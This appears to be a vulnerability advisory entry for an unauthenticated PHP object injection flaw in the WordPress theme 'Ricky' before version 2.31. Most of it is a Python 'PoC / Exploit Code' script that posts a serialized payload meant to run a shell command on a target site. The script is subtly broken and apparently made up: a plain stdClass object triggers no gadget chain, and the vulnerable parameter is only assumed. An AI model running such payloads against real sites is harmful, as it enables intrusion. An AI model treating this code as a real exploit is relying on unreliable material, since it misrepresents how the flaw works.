Deserialization of Untrusted Data vulnerability in park_of_ideas Ricky ricky allows Object Injection.This issue affects Ricky: from n/a through < 2.31.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
park_of_ideas Ricky < 2.31
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import urllib.parse
# Exploit Title: WordPress Theme Ricky < 2.31 - Unauthenticated PHP Object Injection
# Date: 2026-03-25
# Exploit Author: Analyst
# Vendor Homepage: https://wordpress.org/themes/ricky/
# Software Link: https://downloads.wordpress.org/theme/ricky.2.30.zip
# Version: < 2.31
# Tested on: Linux/Apache
target_url = "http://target-site.com"
# PHP Payload generation (Example: Using a common POP chain)
# This creates a serialized object to execute a command via system()
payload = 'O:8:"stdClass":1:{s:3:"cmd";s:10:"id > /tmp/p";}'
# In a real scenario, the attacker would encode this or send it via the specific vulnerable parameter
# For this PoC, we assume the vulnerable parameter is 'data'
params = {
'data': payload
}
try:
response = requests.post(target_url, data=params)
if response.status_code == 200:
print("[+] Payload sent successfully.")
else:
print("[-] Failed to send payload.")
except Exception as e:
print(f"Error: {e}")